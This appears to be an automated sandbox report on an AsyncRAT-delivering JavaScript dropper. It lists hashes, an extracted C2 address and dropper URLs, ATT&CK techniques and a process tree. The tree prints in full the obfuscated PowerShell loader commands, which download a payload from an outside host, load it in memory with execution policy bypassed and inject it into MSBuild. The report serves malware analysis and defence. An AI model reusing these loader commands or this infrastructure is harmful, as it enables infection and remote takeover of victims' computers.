asyncrat | 0844465dfa8bb241f452c320bc6caf6cec645b461dbcd468a2afc9dc900e595c

General

Target

uPh2C.js
Size

58KB
MD5

705e54950f28c565dbe4818eb2be7423
SHA1

19ff36dbb676a64197e0a645adf317d2b9cc17d3
SHA256

0844465dfa8bb241f452c320bc6caf6cec645b461dbcd468a2afc9dc900e595c
SHA512

cc9b21272ba9a2fa038a82c8206303575ce9374f1275b9c394407828c475789616e914befecf58e25c94d451fa92d5a313a611188516b4120015846dac56288f
SSDEEP

1536:a0vDHXpEjO9Xwq2Sk6e2Nhxdd5pdLv+l/4QmuWOMP3HXpEjO9Xwq2Sk6e2Nhxddi:aoDHXp+q62Nhxdd5pdq61HXp+q62Nhx6

Score

10^/10

asyncrat 1 discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

asyncrat

Version

1.0.7

Botnet

1

C2

148.113.165.11:3236

Mutex

asassassas

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 1580 powershell.exe
23 1580 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4780 powershell.exe
1580 powershell.exe

flow	pid	process
8	1580	powershell.exe
23	1580	powershell.exe

pid	process
4780	powershell.exe
1580	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	wscript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1580 set thread context of 2696 1580 powershell.exe MSBuild.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

MSBuild.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4780 powershell.exe
4780 powershell.exe
1580 powershell.exe
1580 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeMSBuild.exe

description pid process

Token: SeDebugPrivilege 4780 powershell.exe
Token: SeDebugPrivilege 1580 powershell.exe
Token: SeDebugPrivilege 2696 MSBuild.exe

description	pid	process	target process
PID 1580 set thread context of 2696	1580	powershell.exe	MSBuild.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

pid	process
4780	powershell.exe
4780	powershell.exe
1580	powershell.exe
1580	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeDebugPrivilege	2696	MSBuild.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

wscript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 4016 wrote to memory of 4780	4016	wscript.exe	powershell.exe
PID 4016 wrote to memory of 4780	4016	wscript.exe	powershell.exe
PID 4780 wrote to memory of 1580	4780	powershell.exe	powershell.exe
PID 4780 wrote to memory of 1580	4780	powershell.exe	powershell.exe
PID 1580 wrote to memory of 2696	1580	powershell.exe	MSBuild.exe
PID 1580 wrote to memory of 2696	1580	powershell.exe	MSBuild.exe
PID 1580 wrote to memory of 2696	1580	powershell.exe	MSBuild.exe
PID 1580 wrote to memory of 2696	1580	powershell.exe	MSBuild.exe
PID 1580 wrote to memory of 2696	1580	powershell.exe	MSBuild.exe
PID 1580 wrote to memory of 2696	1580	powershell.exe	MSBuild.exe
PID 1580 wrote to memory of 2696	1580	powershell.exe	MSBuild.exe
PID 1580 wrote to memory of 2696	1580	powershell.exe	MSBuild.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\uPh2C.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAgACgAIAAkAEUATgBWADoAQwBvAG0AcwBQAEUAQwBbADQALAAxADUALAAyADUAXQAtAEoATwBpAG4AJwAnACkAIAAoACAAKAAnAEgATAAxAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABPAEoAMABoAHQAdABwAHMAOgAvAC8AMQAwADEANwAuAGYAaQBsAGUAbQBhAGkAbAAuAGMAbwBtAC8AYQBwAGkALwAnACsAJwBmAGkAbABlAC8AZwBlAHQAPwBmAGkAbABlAGsAZQB5AD0AMgBBAGEAXwAnACsAJwBiAFcAbwA5AFIAZQB1ADQANQB0ADcAQgBVADEAawBWAGcAJwArACcAcwBkACcAKwAnADkAcABUADkAcABnAFMAUwBsAHYAUwB0AEcAcgBuAFQASQAnACsAJwBDAGYARgBoAG0AVABLAGoAMwBMAEMANgBTAFEAdABJAGMATwBjAF8AVAAzADUAdwAmAHAAawBfAHYAaQBkAD0AZgBkADQAZgA2ADEANABiAGIAMgAwADkAYwA2ADIAYwAxADcAMwAwADkANAA1ADEANwA2AGEAMAA5ADAANABmACAATwBKADAAOwBIACcAKwAnAEwAMQB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsASABMADEAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABIAEwAMQB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgASABMADEAaQBtAGEAZwBlAFUAcgBsACkAOwBIAEwAMQBpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABIAEwAMQBpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwBIAEwAMQBzAHQAYQByAHQARgBsAGEAZwAgAD0AIABPAEoAMAA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+AE8ASgAwADsASABMADEAJwArACcAZQBuAGQARgBsAGEAZwAgAD0AIABPAEoAMAA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4ATwBKADAAOwBIAEwAMQBzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgAEgATAAxAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AJwArACcAZgAoAEgATAAxAHMAdABhAHIAdABGAGwAYQBnACkAOwBIAEwAMQBlAG4AZABJAG4AZABlAHgAIAA9ACAASABMADEAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgASABMADEAZQBuAGQARgBsAGEAZwApADsASABMADEAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIABIAEwAMQBlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgAEgATAAnACsAJwAxAHMAdABhAHIAdABJAG4AZABlAHgAOwBIAEwAMQBzAHQAYQByAHQAJwArACcASQBuAGQAZQB4ACAAKwA9ACAASABMADEAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7AEgATAAxAGIAJwArACcAYQBzAGUANgA0AEwAZQBuAGcAdABoACcAKwAnACAAPQAgAEgATAAxACcAKwAnAGUAbgBkAEkAbgBkAGUAeAAgAC0AIABIACcAKwAnAEwAMQBzAHQAYQByAHQASQBuAGQAZQB4ADsASABMADEAYgAnACsAJwBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIABIAEwAMQBpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgASABMADEAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAASABMADEAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7AEgATAAxAGIAYQBzAGUANgA0AFIAZQB2AGUAcgBzAGUAZAAgAD0AIAAtAGoAbwBpAG4AIAAoAEgATAAxAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgAnACsAJwBUAG8AQwBoAGEAcgBBAHIAcgBhAHkAKAApACAASQBPAEUAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAASABMADEAXwAgAH0AKQBbAC0AMQAuAC4ALQAoAEgATAAxAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgBMAGUAbgBnAHQAaAApAF0AOwBIAEwAMQBjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgASABMADEAYgBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACkAOwBIAEwAMQBsAG8AYQAnACsAJwBkAGUAJwArACcAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAEgATAAxAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQAnACsAJwBzACkAOwBIAEwAMQB2AGEAaQBNAGUAdABoAG8AZAAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgATwBKADAAVgBBACcAKwAnAEkATwBKADAAKQA7AEgATAAxAHYAYQBpAE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKABIAEwAMQBuAHUAbABsACwAJwArACcAIABAACgATwBKADAAMAAvAHQAUQA5AEgAMQAvAGQALwBlAGUALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoAE8ASgAwACwAIABPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwAIAAnACsAJwBPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwAIABPAEoAMABkAGUAcwBhACcAKwAnAHQAaQB2AGEAZABvAE8ASgAwACwAIABPAEoAMABNAFMAQgB1AGkAbABkAE8ASgAwACwAIABPAEoAMABkAGUAcwAnACsAJwBhAHQAaQB2AGEAZABvAE8ASgAwACwAJwArACcAIABPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwATwBKADAAZABlAHMAYQB0AGkAdgBhAGQAbwBPAEoAMAAsAE8ASgAwAGQAZQBzAGEAdABpAHYAYQBkAG8ATwBKADAALABPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwATwBKADAAZABlAHMAYQB0AGkAdgBhAGQAbwBPAEoAMAAsAE8ASgAwAGQAZQBzAGEAdABpAHYAYQBkAG8ATwBKADAALABPACcAKwAnAEoAMAAxAE8ASgAwACwATwBKADAAZABlAHMAYQB0AGkAdgBhAGQAbwBPAEoAMAApACkAOwAnACkALgBSAGUAcABsAEEAQwBFACgAKABbAGMASABBAHIAXQA3ADMAKwBbAGMASABBAHIAXQA3ADkAKwBbAGMASABBAHIAXQA2ADkAKQAsACcAfAAnACkALgBSAGUAcABsAEEAQwBFACgAKABbAGMASABBAHIAXQA3ADIAKwBbAGMASABBAHIAXQA3ADYAKwBbAGMASABBAHIAXQA0ADkAKQAsAFsAUwBUAHIAaQBuAGcAXQBbAGMASABBAHIAXQAzADYAKQAuAFIAZQBwAGwAQQBDAEUAKAAoAFsAYwBIAEEAcgBdADcAOQArAFsAYwBIAEEAcgBdADcANAArAFsAYwBIAEEAcgBdADQAOAApACwAWwBTAFQAcgBpAG4AZwBdAFsAYwBIAEEAcgBdADMAOQApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENV:ComsPEC[4,15,25]-JOin'') ( ('HL1imageUrl = OJ0https://1017.filemail.com/api/'+'file/get?filekey=2Aa_'+'bWo9Reu45t7BU1kVg'+'sd'+'9pT9pgSSlvStGrnTI'+'CfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OJ0;H'+'L1webClient = New-Object System.Net.WebClient;HL1imageBytes = HL1webClient.DownloadData(HL1imageUrl);HL1imageText = [System.Text.Encoding]::UTF8.GetString(HL1imageBytes);HL1startFlag = OJ0<<BASE64_START>>OJ0;HL1'+'endFlag = OJ0<<BASE64_END>>OJ0;HL1startIndex = HL1imageText.IndexO'+'f(HL1startFlag);HL1endIndex = HL1imageText.IndexOf(HL1endFlag);HL1startIndex -ge 0 -and HL1endIndex -gt HL'+'1startIndex;HL1start'+'Index += HL1startFlag.Length;HL1b'+'ase64Length'+' = HL1'+'endIndex - H'+'L1startIndex;HL1b'+'ase64Command = HL1imageText.Substring(HL1startIndex, HL1base64Length);HL1base64Reversed = -join (HL1base64Command.'+'ToCharArray() IOE ForEach-Object { HL1_ })[-1..-(HL1base64Command.Length)];HL1commandBytes = [System.Convert]::FromBase64String(HL1base64Reversed);HL1loa'+'de'+'dAssembly = [System.Reflection.Assembly]::Load(HL1commandByte'+'s);HL1vaiMethod = [dnlib.IO.Home].GetMethod(OJ0VA'+'IOJ0);HL1vaiMethod.Invoke(HL1null,'+' @(OJ00/tQ9H1/d/ee.etsap//:sptthOJ0, OJ0desativadoOJ0, '+'OJ0desativadoOJ0, OJ0desa'+'tivadoOJ0, OJ0MSBuildOJ0, OJ0des'+'ativadoOJ0,'+' OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,O'+'J01OJ0,OJ0desativadoOJ0));').ReplACE(([cHAr]73+[cHAr]79+[cHAr]69),'|').ReplACE(([cHAr]72+[cHAr]76+[cHAr]49),[STring][cHAr]36).ReplACE(([cHAr]79+[cHAr]74+[cHAr]48),[STring][cHAr]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1580
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w4uppi3j.vww.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1580-23-0x000002047FE70000-0x000002047FFC8000-memory.dmp

Filesize
1.3MB

Download
memory/2696-24-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2696-33-0x0000000005B20000-0x0000000005BBC000-memory.dmp

Filesize
624KB

Download
memory/2696-34-0x0000000006170000-0x0000000006714000-memory.dmp

Filesize
5.6MB

Download
memory/2696-35-0x0000000005C30000-0x0000000005C96000-memory.dmp

Filesize
408KB

Download
memory/4780-12-0x00007FFB76460000-0x00007FFB76F21000-memory.dmp

Filesize
10.8MB

Download
memory/4780-22-0x00007FFB76460000-0x00007FFB76F21000-memory.dmp

Filesize
10.8MB

Download
memory/4780-0-0x00007FFB76463000-0x00007FFB76465000-memory.dmp

Filesize
8KB

Download
memory/4780-11-0x00007FFB76460000-0x00007FFB76F21000-memory.dmp

Filesize
10.8MB

Download
memory/4780-6-0x0000018658070000-0x0000018658092000-memory.dmp

Filesize
136KB

Download
memory/4780-30-0x00007FFB76460000-0x00007FFB76F21000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads